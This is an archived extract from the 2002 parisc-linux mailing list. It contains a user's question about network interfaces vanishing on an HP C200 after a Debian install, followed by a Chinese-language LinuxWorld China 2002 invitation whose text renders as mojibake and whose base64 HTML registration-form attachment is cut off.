Lines: 12
Approved: news@gmane.org
Message-ID: <3D532B2F.8050006@charter.net>
References: <20020730020030.40187.qmail@web12502.mail.yahoo.com> <20020730021040.99A7737E97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621607 12197 80.91.229.3 (22 Nov 2014 02:00:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 20:37:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dc-mx10.cluster1.charter.net (dc-mx10.cluster1.charter.net [209.225.8.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62A65482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 20:37:54 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx10.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 50808714 for parisc-linux@parisc-linux.org; Thu, 08 Aug 2002 22:36:46 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15774

I'm not sure what happened, but my C200 is
no longer detecting any of its network
interfaces. They did work before as I
installed Debian using the 10/100 port.

Any ideas what is going on here or what
I can do to remedy this?

- Doug




From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "LINUX" <LINUX@LINUX.LINUX>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxWorld China 2002ֻ뺯ѣ
Date: Fri, 9 Aug 2002 11:01:06 +0800
Lines: 469
Approved: news@gmane.org
Message-ID: <20020809030119.8F138482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="= Multipart Boundary 0809021101"
X-Trace: ger.gmane.org 1416621607 12199 80.91.229.3 (22 Nov 2014 02:00:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 21:01:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Liming Zhu (unknown [61.177.37.66])
	by dsl2.external.hp.com (Postfix) with SMTP id 8F138482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Aug 2002 21:01:19 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.73 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15775

This is a multipart MIME message.

--= Multipart Boundary 0809021101
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit

    LinuxWorld China 2002ֻ뺯ѣ


    LinuxWorld Chinaչޣ޹˾죬õżҵȨȫ֧֡

LinuxWorld ChinaּڴٽϢ̡רҵʿҵûLinuxӦá񼰹ĽӦгľ޴ǱƶLinuxϵͳLinuxƽ̨ĸӦĿԼڹ񾭼øڵĹ㷺ʹãƽҵϢ衣

ƣLinuxWorld China 2002

ʱ/ص㣺200293գ   йƵ
200295գ Ϻ  ʹ󶼴󷹵

⣺ ʵҵLinuxӦ

ʽ ֻ+Ʒչʾ

ֻ᣺ Ϊݽ۴ᡢרҵ󲿷֣ۼ50ೡ漰ɹѵȸ档

Ʒչʾ չʾҵµӲƷֱû̡רҵȽЧͨ

ѯ绰(010)83152644-127

򿪸еıдǽдϢȷϺ볡ȯڴ룡 

    >>Ϣĸе 

--= Multipart Boundary 0809021101
Content-Type: application/octet-stream;
	name=".htm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename=".htm"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5MaW51eFdvcmxkIENoaW5hIDIwMDLR
0MzWu+HR+8fruq88L3RpdGxlPg0KPE1FVEEgSFRUUC1FUVVJVj1Db250ZW50
LVR5cGUgQ09OVEVOVD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8
U1RZTEUgVFlQRT0idGV4dC9jc3MiPg0KPCEtLQ0KDQpCT0RZew0KICAgIEZP
TlQtRkFNSUxZOiDLzszlOw0KICAgIEZPTlQtU0laRTogOXB0Ow0KICAgIENP
TE9SOiMwMDAwMDANCn0NCi5wdDkgeyBmb250LWZhbWlseTogIsvOzOUiOyBm
b250LXNpemU6IDlwdH0NCg0KUA0Kew0KICAgIEZPTlQtRkFNSUxZOiAiy87M
5SI7IEZPTlQtU0laRTogOXB0OyBDT0xPUjojMDAwMDAwDQp9DQpIOSxURCxT
RUxFQ1QNCnsNCiAgICBGT05ULUZBTUlMWTogIsvOzOUiOyBGT05ULVNJWkU6
IDlwdA0KfQ0KDQpBOmxpbmsgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmV9DQpBOnZpc2l0ZWQgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmU7IGZvbnQtY29sb3I9Ymx1ZX0NCkE6aG92ZXIgeyAgZm9udC1mYW1p
bHk6ICLLzszlIjsgZm9udC1zaXplOiA5UFQ7Y29sb3I6I0ZENEEwNDsgIHRl
eHQtZGVjb3JhdGlvbjogbm9uZX0NCg0KLS0+DQoNCjwvc3R5bGU+DQoNCjxT
Q1JJUFQgbGFuZ3VhZ2U9amF2YXNjcmlwdD4gIA0KDQpmdW5jdGlvbiBWZXJp
ZnlJbnB1dCgpICANCnsgIA0KIA0KICAgIHZhciBuZXdEYXRlT2JqID0gbmV3
IERhdGUoKSAgDQoNCiAgICBzdHJGaXJzdG5hbWUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby5GaXJzdG5hbWUudmFsdWU7ICANCiAgICBpZiAoc3RyRmlyc3Ru
YW1lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXE0NXD+yEgIik7ICANCiAgICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8u
Rmlyc3RuYW1lLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAg
DQogICAgfSAgDQoJDQoJDQogCWlmIChkb2N1bWVudC5mcm1Vc2VySW5mby50
aXRsZS5zZWxlY3RlZEluZGV4ID09IDApDQoJCXsNCgkJYWxlcnQoIsfr0aHU
8cT6tcTQ1LHwIik7DQoJCWRvY3VtZW50LmZybVVzZXJJbmZvLnRpdGxlLmZv
Y3VzKCk7DQoJCXJldHVybiBmYWxzZTsNCgkJfQ0KIA0KICAgICBzdHJqb2J0
aXRsZW5hbWUgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5qb2JfdGl0bGUudmFs
dWU7ICANCiAgICBpZiAoc3Ryam9idGl0bGVuYW1lID09ICIiKSAgDQogICAg
eyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXE0NDV/tawzvEhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmpvYl90aXRsZS5mb2N1
cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQ0K
CXN0cmNvbXBhbnkgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21wYW55LnZh
bHVlOyAgDQogICAgaWYgKHN0cmNvbXBhbnkgPT0gIiIpICANCiAgICB7ICAN
CiAgICAgICAgYWxlcnQoIsfryuTI68T6tcS1pc67w/uzxiEgIik7ICANCiAg
ICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8uY29tcGFueS5mb2N1cygpOyAg
DQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCglzdHJj
b21hZGQgPSBkb2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLnZhbHVlOyAg
DQogICAgaWYgKHN0cmNvbWFkZCA9PSAiIikgIA0KICAgIHsgIA0KICAgICAg
ICBhbGVydCgix+vK5MjrxPq1xM2o0ba12Na3ISAiKTsgIA0KICAgICAgICBk
b2N1bWVudC5mcm1Vc2VySW5mby5jb21fYWRkLmZvY3VzKCk7ICANCiAgICAg
ICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAgDQoJDQoJc3RycG9zdGNvZGUg
PSBkb2N1bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS52YWx1ZTsgIA0KICAg
IGlmIChzdHJwb3N0Y29kZSA9PSAiIikgIA0KICAgIHsgIA0KICAgICAgICBh
bGVydCgix+vK5MjrxPq1xNPK1f6x4MLrISAiKTsgIA0KICAgICAgICBkb2N1
bWVudC5mcm1Vc2VySW5mby5wb3N0Y29kZS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0gIA0KCQkNCiAgCWlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5wcm92aW5jZS5zZWxlY3RlZEluZGV4ID09IDApDQoJ
CXsNCgkJYWxlcnQoIsfr0aHU8cT6y/nU2rXEyqG33aOhIik7DQoJCWRvY3Vt
ZW50LmZybVVzZXJJbmZvLnByb3ZpbmNlLmZvY3VzKCk7DQoJCXJldHVybiBm
YWxzZTsNCgkJfQ0KDQoNCglzdHJ0ZWxlcGhvbmUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby50ZWxlcGhvbmUudmFsdWU7ICANCiAgICBpZiAoc3RydGVsZXBo
b25lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXEtee7sLrFwuujoSAiKTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2Vy
SW5mby50ZWxlcGhvbmUuZm9jdXMoKTsgIA0KICAgICAgICByZXR1cm4gZmFs
c2U7ICANCiAgICB9ICANCgkNCglzdHJmYXggPSBkb2N1bWVudC5mcm1Vc2Vy
SW5mby5mYXgudmFsdWU7ICANCiAgICBpZiAoc3RyZmF4ID09ICIiKSAgDQog
ICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEtKvV5rrFwuujoSAi
KTsgIA0KICAgICAgICBkb2N1bWVudC5mcm1Vc2VySW5mby5mYXguZm9jdXMo
KTsgIA0KICAgICAgICByZXR1cm4gZmFsc2U7ICANCiAgICB9ICANCg0KCXN0
cmVtYWlsID0gZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwudmFsdWU7ICAN
CiAgICBpZiAoc3RyZW1haWwgPT0gIiIpICANCiAgICB7ICANCiAgICAgICAg
YWxlcnQoIsfryuTI68T6tcRFLW1haWy12Na3o6EgIik7ICANCiAgICAgICAg
ZG9jdW1lbnQuZnJtVXNlckluZm8uZW1haWwuZm9jdXMoKTsgIA0KICAgICAg
ICByZXR1cm4gZmFsc2U7ICANCiAgICB9IAkNCg0KCXN0cmNvbV9tYW5hZ2Vy
ID0gZG9jdW1lbnQuZnJtVXNlckluZm8uY29tX21hbmFnZXIudmFsdWU7ICAN
CiAgICBpZiAoc3RyY29tX21hbmFnZXIgPT0gIiIpICANCiAgICB7ICANCiAg
ICAgICAgYWxlcnQoIsfryuTI68T6tcS5q8u+19y+rcDt0NXD+6OhICIpOyAg
DQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV9tYW5hZ2VyLmZv
Y3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAgDQogICAgfSAJDQoN
CglzdHJkZXBfbWFuYWdlciA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmRlcF9t
YW5hZ2VyLnZhbHVlOyAgDQogICAgaWYgKHN0cmRlcF9tYW5hZ2VyID09ICIi
KSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE+rXEsr/Dxbi6
1PDIy7XE0NXD+6OhICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJ
bmZvLmRlcF9tYW5hZ2VyLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZh
bHNlOyAgDQogICAgfSANCglzdHJjb210eXBlMSA9IGRvY3VtZW50LmZybVVz
ZXJJbmZvLmNvbV90eXBlMS52YWx1ZTsNCgkgIA0KICAgIGlmIChkb2N1bWVu
dC5mcm1Vc2VySW5mby5kd2xiWzBdLmNoZWNrZWQpICANCiAgICB7ICAgICAg
DQoJCWlmIChzdHJjb210eXBlMSA9PSAiIikgIA0KCQkgeyAgDQogICAgICAg
CSBhbGVydCgix+vRodTxuavLvsDgsfAhICIpOyAgDQogICAgICAgIGRvY3Vt
ZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMS5mb2N1cygpOyAgDQogICAgICAg
IHJldHVybiBmYWxzZTsgIA0KICAgIH0NCiAgICB9ICAgDQoNCglzdHJjb210
eXBlMiA9IGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBlMi52YWx1ZTsN
CgkgIA0KICAgIGlmIChkb2N1bWVudC5mcm1Vc2VySW5mby5kd2xiWzFdLmNo
ZWNrZWQpICANCiAgICB7ICAgICAgDQoJCWlmIChzdHJjb210eXBlMiA9PSAi
IikgIA0KCQkgeyAgDQogICAgICAgCSBhbGVydCgix+vRodTxuavLvsDgsfAh
ICIpOyAgDQogICAgICAgIGRvY3VtZW50LmZybVVzZXJJbmZvLmNvbV90eXBl
Mi5mb2N1cygpOyAgDQogICAgICAgIHJldHVybiBmYWxzZTsgIA0KICAgIH0N
CiAgICB9ICAgDQogICAgcmV0dXJuIHRydWU7ICAgDQp9ICANCjwvU0NSSVBU
Pg0KDQo8L2hlYWQ+DQoNCjxib2R5IGJnY29sb3I9IiNGRkZGRkYiIHRleHQ9
IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCI+DQoNCjx0
YWJsZSB3aWR0aD0iNTAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBj
ZWxscGFkZGluZz0iMCI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTIgaGVpZ2h0
PTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJPHRk
IHdpZHRoPTQgYmdjb2xvcj0jMDAwMDAwPjwvdGQ+DQoJPHRkPjxpbWcgc3Jj
PWh0dHA6Ly9hZC5oZXJtZXMuY29tLmNuL2xpbnV4d29ybGQvaW1hZ2VzL2Jn
LmdpZiB3aWR0aD00OTYgaGVpZ2h0PTk5IGJvZWRlcj0wPjwvdGQ+DQoJPC90
cj4NCgk8dGQgd2lkdGg9NCBiZ2NvbG9yPSMwMDAwMDA+PC90ZD4NCgk8dGQg
YWxpZ249Y2VudGVyIGJhY2tncm91bmQ9aHR0cDovL2FkLmhlcm1lcy5jb20u
Y24vbGludXh3b3JsZC9pbWFnZXMvYmdfMC5naWY+DQoNCjx0YWJsZSB3aWR0
aD0iNDgwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGlu
Zz0iMyI+DQoJPHRyPg0KCTx0ZD4NCqGhoaFMaW51eFdvcmxkIENoaW5h08nK
wNW5sqnAwKOo0cfW3qOp09DP3rmry77W97Dso6y1w7W9wcvV/riusr/Dxbyw
0rW958iozf67+rm5tcTIq8Gm1qez1qGjPGJyPjxicj6hoaGhTGludXhXb3Js
ZCBDaGluYda81Nq02b34ufrE2s3i0MXPory8yvWzp8nMoaLXqNK1yMvKv7rN
xvPStdPDu6fU2kxpbnV4v6q3oqGi06bTw6Git/7O8bywudzA7dTL1/e3vcPm
tcS9u8H30+u6z9f3o6y/qr7y06bTw8rQs6G1xL7etPPHscGmo6zNxravTGlu
dXiy2df3z7XNs7ywu/nT2kxpbnV4xr3MqLXEuPfW1tOm08PI7bz+tcS/qrei
o6zS1Lyw1Nq5+sPxvq28w7j3uPbB7NPyxNq1xLnjt7rKudPDo6zNxr341f64
rrywxvPStdDFz6K7r72oyeihozxicj48YnI+DQoNCqGhoaE8Yj7D+7PGo7o8
L2I+oaGhoaGhTGludXhXb3JsZCBDaGluYSAyMDAyPGJyPjxicj4NCqGhoaE8
Yj7KsbzkL7XYteOjujwvYj4yMDAyxOo51MIzyNWjrCC549bdIKHxINbQufq0
877Gteo8YnI+DQqhoaGhoaGhoaGhoaGhoaGhMjAwMsTqOdTCNcjVo6wgyc+6
oyCh8SC5+rzKufO2vLTzt7m16jxicj48YnI+DQqhoaGhPGI+tPO74db3zOKj
ujwvYj4gzvHKtbXExvPStby2TGludXjTptPDPGJyPjxicj4NCqGhoaE8Yj60
87vh0M7KvaO6PC9iPiDR0MzWu+ErsvrGt9W5yr48YnI+PGJyPg0KDQqhoaGh
PGI+0dDM1rvho7o8L2I+ICAgt9bOqtb3zOLR3b2yoaLM1sLbtPO74aGi16jS
tb2y1/nI/bTzsr+31qOswNu8xjUw0+Czob2y1/mjrMTayN3J5rywvLzK9aGi
veK+9re9sLihorPJuaawuMD9t9bO9qGixeDRtbXIuPe49re9w+ahozxicj48
YnI+DQqhoaGhPGI+svrGt9W5yr6jujwvYj4JvK/W0NW5yr7StcTa1+7QwrXE
yO2hotOyvP6y+sa3o6y94r72t72wuKOs1rG909Pr08O7p6Givq3P+snMoaLX
qLzStci9+NDQ09DQp7m1zaihozxicj48YnI+DQqhoaGhPGI+sajD+9fJ0a+1
57uwo7ooMDEwKTgzMTUyNjQ0LTEyNzwvYj48YnI+PGJyPg0KoaGhoTxiPjxm
b250IGNvbG9yPSMwMTdGQjI+x+vM7tC00tTPwrGow/ux7bWlo6zO0sPHvau4
+b7dxPrM7tC0tcTQxc+it6LLzci3yM+6r6GjPGJyPg0KICAgICAgIA0KoaGh
ocbatP3XxcT6tcTIyMfpss7T66OhPC9mb250PjwvYj4NCgk8L3RkPg0KCTwv
dHI+DQoJPHRyPg0KCTx0ZD4NCjxGT1JNIGFjdGlvbj1odHRwOi8vYWQuaGVy
bWVzLmNvbS5jbi9saW51eHdvcmxkL2RlYWwucGhwIG1ldGhvZD1wb3N0IG5h
bWU9ZnJtVXNlckluZm8gb25zdWJtaXQ9InJldHVybiBWZXJpZnlJbnB1dCgp
OyI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMiIgY2VsbHNw
YWNpbmc9IjIiIHdpZHRoPSI0NjUiPg0KCQk8dHI+IA0KICAgICAgICAgICAg
ICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI3IiBjbGFzcz0idGV4dCIgd2lkdGg9
IjEyNSI+Jm5ic3A7IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRk
IGhlaWdodD0iMjciIGNsYXNzPSJ0ZXh0IiB3aWR0aD0iMzQwIj4gDQogICAg
ICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5h
bWU9Imd6IiB2YWx1ZT0iuePW3SI+DQogICAgICAgICAgICAgICAgICAgICAg
ICC549bdIA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
ImNoZWNrYm94IiBuYW1lPSJzaCIgdmFsdWU9IsnPuqMiPg0KICAgICAgICAg
ICAgICAgICAgICAgICAgyc+6ozwvdGQ+DQogICAgICAgICAgICAgICAgICAg
IDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz0idW5uYW1l
ZDEiPiANCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSIg
aGVpZ2h0PSIyNSIgY2xhc3M9InRleHQiPiANCiAgICAgICAgICAgICAgICAg
ICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij7Q1cP7o7o8Zm9udCBjb2xvcj0i
I0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAg
ICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQw
IiBoZWlnaHQ9IjI1Ij4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5w
dXQgbWF4bGVuZ3RoPTIwIG5hbWU9Rmlyc3RuYW1lIHNpemU9IjEyIj4NCiAg
ICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9IndpZCIgdmFsdWU9InBjYm9va2NuIiBJRD0iSGlkZGVuMSI+DQogICAg
ICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l
PSJhZGlkIiB2YWx1ZT0ibGludXgwODA2IiBJRD0iSGlkZGVuMiI+DQogICAg
ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAg
PC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAg
ICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAg
ICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPtDUsfCjujxmb250IGNvbG9y
PSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAg
ICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIz
NDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFtZT0i
dGl0bGUiIHNpemU9IjEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uPsfr0aHU8dK7z+48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixNAiPsTQPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IsWuIj7Frjwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+DQog
ICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAg
ICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAg
ICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAg
ICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPtDQ1f7WsM7xo7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iam9iX3RpdGxlIiBtYXhsZW5ndGg9IjMwIj4N
CiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAg
ICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAg
ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAgICAg
ICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+vLzK9daws8ajujwv
ZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAg
ICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAgICAg
ICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZWNoX3RpdGxl
IiBtYXhsZW5ndGg9IjMwIj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3Rk
Pg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAg
ICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0i
MTI1Ij4gDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJy
aWdodCI+uavLvsP7s8ajujxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250
PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAg
ICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21wYW55
IiBzaXplPSIzNSIgbWF4bGVuZ3RoPSI4MCI+DQogICAgICAgICAgICAgICAg
ICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPs2o0ba12Na3o7o8Zm9udCBjb2xvcj0iI0ZGMDAw
MCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3Rk
Pg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQwIj4gDQog
ICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0iY29tX2FkZCIgc2l6ZT0iMzUiIG1heGxlbmd0aD0iMTAwIj4NCiAgICAg
ICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8
L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAg
ICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAgICAgICAgICAg
ICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+08rV/rHgwuujujxmb250IGNv
bG9yPSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0KICAgICAgICAgICAgICAg
ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJ0ZXh0IiBuYW1lPSJwb3N0Y29kZSIgc2l6ZT0iNiIgbWF4bGVuZ3RoPSI2
Ij4NCiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAg
ICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAg
ICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQogICAgICAg
ICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+yqG33aO6PGZv
bnQgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PC9kaXY+DQogICAgICAgICAg
ICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQg
d2lkdGg9IjM0MCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVj
dCBuYW1lPSJwcm92aW5jZSIgc2l6ZT0iMSI+DQogICAgICAgICAgICAgICAg
ICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isfr0aHU8dK7z+4iPsfr0aHU8dK7
z+48L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlv
biB2YWx1ZT0isbG+qcrQIj6xsb6pytA8L29wdGlvbj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0izOy98srQIj7M7L3yytA8
